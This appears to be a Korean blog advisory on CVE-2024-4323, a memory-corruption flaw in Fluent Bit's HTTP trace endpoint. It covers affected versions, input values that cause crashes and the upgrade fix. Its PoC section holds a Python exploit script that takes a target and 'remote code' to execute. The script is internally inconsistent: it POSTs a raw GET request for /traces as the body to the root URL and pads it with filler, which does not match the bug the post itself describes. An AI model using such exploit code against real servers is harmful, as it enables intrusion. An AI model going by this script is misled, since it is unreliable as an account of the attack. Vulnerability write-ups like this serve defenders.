1. Fluent Bit [1][2]

- 오픈소스 멀티플랫폼 로그 프로세서 도구
- 로그를 수집, 처리하여 파이프라인을 통해 다양한 대상(Elasticsearch, Splunk 등)으로 전달하는 기능을 수행
- 메모리 사용량이 적고 의존성이 적어 가벼움 등 다양한 장점
- Google, Mircosoft, AWS, Cisco 등 여러 기업에서 사용

 

2. 취약점

[사진 1] CVE-2024-4323

 

- 취약한 버전의 Fluent Bit에서 발생하는 메모리 손상 취약점 (CVSS: 9.5)
익스플로잇 방법에 따라 DDoS, 데이터 유출, 원격 코드 실행 공격 등이 가능

영향받는 버전
- Fluent Bit 2.0.7 ~ 3.0.3 버전

 

2.1 주요 내용

- 임베드 된 HTTP 서버가 일부 요청을 처리할 때 취약점이 발생

/api/v1/traces (또는 /api/v1/trace) 엔드포인트에서 일정 유형의 입력 데이터가 적절히 확인되지 않은채 다른 프로그램으로 전달되어 취약성 발생

문자열이 아닌 값을 입력할 때 메모리에서 여러 가지 문제를 유발

 

> cd_traces() 함수에서 input_name 변수를 flb_sds_create_len() 함수를 이용해 할당
입력 값을 검증하지 않고 flb_sds_create_len() 함수 호출 및 사용하여 취약점이 발생하는 것으로 판단됨

※ cd_traces(): fluent-bit/src/http_server/api/v1/trace.c
※ flb_sds_create_len(): fluent-bit/src/flb_sds.c

[사진 2] 취약점 발생 위치

 

※ 취약점 발생 시나리오 예시
- 큰 정수 값(또는 음수 값)은 메모리 보호를 위해 쓰기를 시도할 때 나중에 memcpy()를 호출할 때 "와일드 복사본"으로 인해 충돌 발생 가능
- -1~-16 값은 인접한 메모리의 힙 덮어쓰기를 유발할 수 있음
- 충돌할 만큼 크지 않은 정수 값은 요청을 하는 클라이언트에게 인접 메모리가 공개될 수 있음
- -17 값은 코드 후반부의 malloc()이 0으로 실패한 후 널 포인터 역참조로 인해 충돌이 발생
-  더 작고 더 많은 대상 정수 값은 다양한 스택 손상 및 힙 관리 메커니즘의 손상된 청크 및 끊어진 링크와 같은 기타 메모리 손상 문제를 유발

 

2.2 PoC  [4]

- /traces URL에 BoF를 유발할 만큼 큰 임의의 문자와 원격 명령을 전달

import requests
import argparse

def exploit(url, port, remote_code):
    target_url = f"http://{url}:{port}"

    # Malicious payload to trigger the memory corruption
    malicious_payload = (
        "GET /traces HTTP/1.1\r\n"
        f"Host: {url}\r\n"
        "Content-Length: 1000000\r\n"  # Large content length to trigger buffer overflow
        "Connection: keep-alive\r\n\r\n"
        + "A" * 1000000  # Large amount of data to overflow the buffer
        + remote_code  # Inject remote code at the end
    )

    try:
        response = requests.post(target_url, data=malicious_payload, headers={"Content-Type": "application/octet-stream"})
        print(f"Response Code: {response.status_code}")
        print(f"Response Body: {response.text}")
    except Exception as e:
        print(f"Exploit failed: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit for CVE-2024-4323")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-p", "--port", required=True, help="Target port number")
    parser.add_argument("-c", "--code", required=True, help="Remote code to be executed")

    args = parser.parse_args()

    exploit(args.url, args.port, args.code)

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

취약점 영향 받는 버전 해결 버전
CVE-2024-4323 Fluent Bit 2.0.7 ~ 3.0.3 버전 Fluent Bit 3.0.4 버전

 

4. 참고

[1] https://fluentbit.io/
[2] https://github.com/fluent/fluent-bit
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-4323
[4] https://github.com/skilfoy/CVE-2024-4323-Exploit-POC
[5] https://fluentbit.io/announcements/v3.0.4/
[6] https://www.tenable.com/security/research/tra-2024-17
[7] https://www.boannews.com/media/view.asp?idx=129955&page=1&kind=1

'취약점 > Denial of Service' 카테고리의 다른 글

DNS BIND DDoS 취약점  (0) 2024.07.31
NXDomain Flooding  (0) 2024.07.28
CONTINUATION Flood  (0) 2024.04.07
Loop DoS (CVE-2024-2169)  (0) 2024.03.23
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28

+ Recent posts